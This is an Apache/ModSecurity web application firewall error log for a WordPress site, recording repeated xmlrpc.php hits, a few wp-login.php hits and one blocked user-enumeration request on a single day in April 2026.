[Fri Apr 17 11:14:02.545130 2026] [:error] [pid 9153:tid 9240] [client 172.238.64.140:59668] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGleuMHGxkTZX3c45esFAAAAJY"]
[Fri Apr 17 11:15:08.211184 2026] [:error] [pid 51878:tid 51902] [client 95.173.103.120:43372] [client 95.173.103.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.173.103.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGlvEnQhUtMbw9Esgb8KgAAARY"]
[Fri Apr 17 11:15:48.956124 2026] [:error] [pid 9153:tid 9228] [client 137.184.64.22:51632] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGl5OMHGxkTZX3c45esUQAAAIo"]
[Fri Apr 17 11:17:30.038411 2026] [:error] [pid 51878:tid 51901] [client 147.45.149.57:42600] [client 147.45.149.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.45.149.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGmSknQhUtMbw9Esgb8VQAAARU"]
[Fri Apr 17 11:22:26.691596 2026] [:error] [pid 9153:tid 9225] [client 46.246.39.245:46038] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGncuMHGxkTZX3c45etOQAAAIc"]
[Fri Apr 17 11:26:16.548374 2026] [:error] [pid 25010:tid 25022] [client 160.250.187.3:47382] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGoWI-7kkf42RarqQ0rsgAAAUk"]
[Fri Apr 17 11:27:07.770303 2026] [:error] [pid 9152:tid 9212] [client 185.199.223.27:58690] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGoi5JYca8I3TNCwIfD1gAAAFY"]
[Fri Apr 17 11:28:37.201807 2026] [:error] [pid 9152:tid 9204] [client 23.98.148.92:40302] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGo5ZJYca8I3TNCwIfEoQAAAE4"]
[Fri Apr 17 11:28:58.989968 2026] [:error] [pid 34273:tid 34276] [client 47.130.163.175:60789] [client 47.130.163.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.130.163.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGo-muQDW686mK3dgGY_wAAAYE"]
[Fri Apr 17 11:38:40.283020 2026] [:error] [pid 9152:tid 9191] [client 137.184.69.218:26716] [client 137.184.69.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.69.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGrQJJYca8I3TNCwIfJJAAAAEE"]
[Fri Apr 17 11:41:32.097347 2026] [:error] [pid 9153:tid 9218] [client 51.159.214.31:52402] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGr7OMHGxkTZX3c45eyKQAAAIA"]
[Fri Apr 17 11:42:00.789141 2026] [:error] [pid 9151:tid 9183] [client 52.7.119.212:35352] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGsCMhTVuRPkua22vQBagAAABY"]
[Fri Apr 17 11:45:01.647514 2026] [:error] [pid 51878:tid 51884] [client 155.133.142.66:45293] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGsvUnQhUtMbw9Esgb_cgAAAQQ"]
[Fri Apr 17 11:48:59.662571 2026] [:error] [pid 9152:tid 9206] [client 201.23.19.75:41952] [client 201.23.19.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.23.19.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGtq5JYca8I3TNCwIfPkQAAAFA"]
[Fri Apr 17 11:49:48.613851 2026] [:error] [pid 9153:tid 9236] [client 45.33.94.199:45470] [client 45.33.94.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.94.199, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGt3OMHGxkTZX3c45e0NAAAAJI"]
[Fri Apr 17 11:50:20.379834 2026] [:error] [pid 9263:tid 9278] [client 67.205.159.76:18382] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGt_BP68VyHNvj1e55wRQAAAM0"]
[Fri Apr 17 11:52:32.927895 2026] [:error] [pid 34273:tid 34275] [client 23.98.148.92:40184] [client 23.98.148.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 23.98.148.92, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGugGuQDW686mK3dgGiDAAAAYA"]
[Fri Apr 17 11:54:44.295367 2026] [:error] [pid 9152:tid 9198] [client 157.66.27.55:37726] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGvBJJYca8I3TNCwIfRvQAAAEg"]
[Fri Apr 17 11:55:58.893110 2026] [:error] [pid 9153:tid 9235] [client 82.223.69.219:47838] [client 82.223.69.219] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.69.219, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGvTuMHGxkTZX3c45e1lQAAAJE"]
[Fri Apr 17 11:59:49.450092 2026] [:error] [pid 34273:tid 34297] [client 69.57.172.96:57720] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGwNWuQDW686mK3dgGkIwAAAZY"]
[Fri Apr 17 11:59:50.415372 2026] [:error] [pid 9153:tid 9238] [client 160.250.186.233:56638] [client 160.250.186.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGwNuMHGxkTZX3c45e22AAAAJQ"]
[Fri Apr 17 12:01:19.970216 2026] [:error] [pid 9152:tid 9203] [client 157.245.42.243:41548] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGwj5JYca8I3TNCwIfUbwAAAE0"]
[Fri Apr 17 12:02:32.699113 2026] [:error] [pid 9263:tid 9266] [client 185.108.129.81:54202] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGw2BP68VyHNvj1e55xkAAAAME"]
[Fri Apr 17 12:04:05.123524 2026] [:error] [pid 9152:tid 9203] [client 143.244.166.58:51676] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGxNZJYca8I3TNCwIfVZwAAAE0"]
[Fri Apr 17 12:04:34.557137 2026] [:error] [pid 51878:tid 51900] [client 35.198.41.118:37920] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGxUknQhUtMbw9EsgYBzwAAARQ"]
[Fri Apr 17 12:06:03.834695 2026] [:error] [pid 9152:tid 9208] [client 191.199.207.210:57554] [client 191.199.207.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.199.207.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGxq5JYca8I3TNCwIfWjQAAAFI"]
[Fri Apr 17 12:08:31.833815 2026] [:error] [pid 9152:tid 9190] [client 159.65.127.101:47806] [client 159.65.127.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.65.127.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGyP5JYca8I3TNCwIfYFQAAAEA"]
[Fri Apr 17 12:10:14.671635 2026] [:error] [pid 9153:tid 9230] [client 103.39.132.40:47546] [client 103.39.132.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.39.132.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGypuMHGxkTZX3c45e6fAAAAIw"]
[Fri Apr 17 12:10:23.829707 2026] [:error] [pid 9153:tid 9220] [client 138.197.98.9:46546] [client 138.197.98.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.98.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGyr-MHGxkTZX3c45e6hQAAAII"]
[Fri Apr 17 12:13:35.164623 2026] [:error] [pid 9263:tid 9283] [client 34.140.181.23:17664] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeGzbxP68VyHNvj1e55yjQAAANI"]
[Fri Apr 17 12:17:36.456534 2026] [:error] [pid 25010:tid 25027] [client 161.35.14.71:41946] [client 161.35.14.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.14.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG0YI-7kkf42RarqQ01ugAAAU4"]
[Fri Apr 17 12:19:49.908122 2026] [:error] [pid 25010:tid 25016] [client 52.178.68.120:43540] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG05Y-7kkf42RarqQ02DAAAAUM"]
[Fri Apr 17 12:20:18.274144 2026] [:error] [pid 51878:tid 51892] [client 45.33.94.199:41982] [client 45.33.94.199] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.33.94.199, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG1AknQhUtMbw9EsgYDfgAAAQw"]
[Fri Apr 17 12:24:10.238668 2026] [:error] [pid 9152:tid 9206] [client 188.166.244.214:53572] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG16pJYca8I3TNCwIfddAAAAFA"]
[Fri Apr 17 12:24:34.366791 2026] [:error] [pid 34273:tid 34296] [client 173.249.55.89:38926] [client 173.249.55.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.249.55.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG2AmuQDW686mK3dgGs9QAAAZU"]
[Fri Apr 17 12:26:40.208781 2026] [:error] [pid 9153:tid 9225] [client 59.125.102.142:32866] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG2gOMHGxkTZX3c45e9OQAAAIc"]
[Fri Apr 17 12:29:51.236870 2026] [:error] [pid 9153:tid 9226] [client 157.66.26.248:38306] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3P-MHGxkTZX3c45e-QAAAAIg"]
[Fri Apr 17 12:29:51.238693 2026] [:error] [pid 9153:tid 9226] [client 157.66.26.248:38306] [client 157.66.26.248] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3P-MHGxkTZX3c45e-QAAAAIg"]
[Fri Apr 17 12:29:51.239797 2026] [:error] [pid 9153:tid 9226] [client 157.66.26.248:38306] [client 157.66.26.248] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3P-MHGxkTZX3c45e-QAAAAIg"]
[Fri Apr 17 12:29:51.417923 2026] [:error] [pid 34273:tid 34278] [client 212.7.160.134:45456] [client 212.7.160.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.7.160.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3P2uQDW686mK3dgGusQAAAYM"]
[Fri Apr 17 12:30:28.302340 2026] [:error] [pid 25010:tid 25022] [client 185.199.223.39:45966] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3ZI-7kkf42RarqQ033gAAAUk"]
[Fri Apr 17 12:31:30.293884 2026] [:error] [pid 9152:tid 9205] [client 170.150.31.126:56587] [client 170.150.31.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.150.31.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3opJYca8I3TNCwIfgawAAAE8"]
[Fri Apr 17 12:31:34.557587 2026] [:error] [pid 51878:tid 51894] [client 137.184.25.215:56234] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3pknQhUtMbw9EsgYFXAAAAQ4"]
[Fri Apr 17 12:31:39.586992 2026] [:error] [pid 34273:tid 34293] [client 170.150.31.126:56466] [client 170.150.31.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.150.31.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3q2uQDW686mK3dgGvuAAAAZI"]
[Fri Apr 17 12:31:48.780681 2026] [:error] [pid 34273:tid 34283] [client 170.150.31.126:14683] [client 170.150.31.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.150.31.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3tGuQDW686mK3dgGv2gAAAYg"]
[Fri Apr 17 12:31:54.971019 2026] [:error] [pid 9151:tid 9169] [client 52.7.119.212:37184] [client 52.7.119.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.7.119.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3ushTVuRPkua22vQJeQAAAAg"]
[Fri Apr 17 12:31:59.417481 2026] [:error] [pid 25010:tid 25025] [client 170.150.31.126:56478] [client 170.150.31.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.150.31.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3v4-7kkf42RarqQ04vQAAAUw"]
[Fri Apr 17 12:32:10.991777 2026] [:error] [pid 9153:tid 9240] [client 170.150.31.126:56605] [client 170.150.31.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 170.150.31.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG3yuMHGxkTZX3c45e_MAAAAJY"]
[Fri Apr 17 12:33:36.553783 2026] [:error] [pid 9153:tid 9238] [client 51.210.190.32:56100] [client 51.210.190.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.190.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG4IOMHGxkTZX3c45e_bAAAAJQ"]
[Fri Apr 17 12:37:37.585386 2026] [:error] [pid 9152:tid 9198] [client 45.87.221.196:53010] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.87.221.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG5EZJYca8I3TNCwIfjjQAAAEg"]
[Fri Apr 17 12:43:25.037370 2026] [:error] [pid 9153:tid 9240] [client 88.87.70.158:40486] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG6beMHGxkTZX3c45fDGAAAAJY"]
[Fri Apr 17 12:43:49.254317 2026] [:error] [pid 25010:tid 25020] [client 185.199.223.39:35690] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG6hY-7kkf42RarqQ07DAAAAUc"]
[Fri Apr 17 12:46:52.017472 2026] [:error] [pid 25010:tid 25023] [client 137.184.64.22:49820] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG7PI-7kkf42RarqQ07mAAAAUo"]
[Fri Apr 17 12:51:50.670459 2026] [:error] [pid 34273:tid 34284] [client 75.127.14.16:56950] [client 75.127.14.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.127.14.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeG8ZmuQDW686mK3dgG1NgAAAYk"]
[Fri Apr 17 12:52:13.749216 2026] [:error] [pid 9263:tid 9279] [client 195.201.203.147:49766] [client 195.201.203.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeG8fRP68VyHNvj1e555rwAAAM4"]
[Fri Apr 17 12:52:20.962698 2026] [:error] [pid 9263:tid 9276] [client 195.201.203.147:49766] [client 195.201.203.147] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aeG8hBP68VyHNvj1e555wQAAAMs"], referer: https://www.google.com/search?q=wordpress
[Fri Apr 17 12:52:21.215038 2026] [:error] [pid 9263:tid 9265] [client 195.201.203.147:49766] [client 195.201.203.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.201.203.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeG8hRP68VyHNvj1e555wwAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
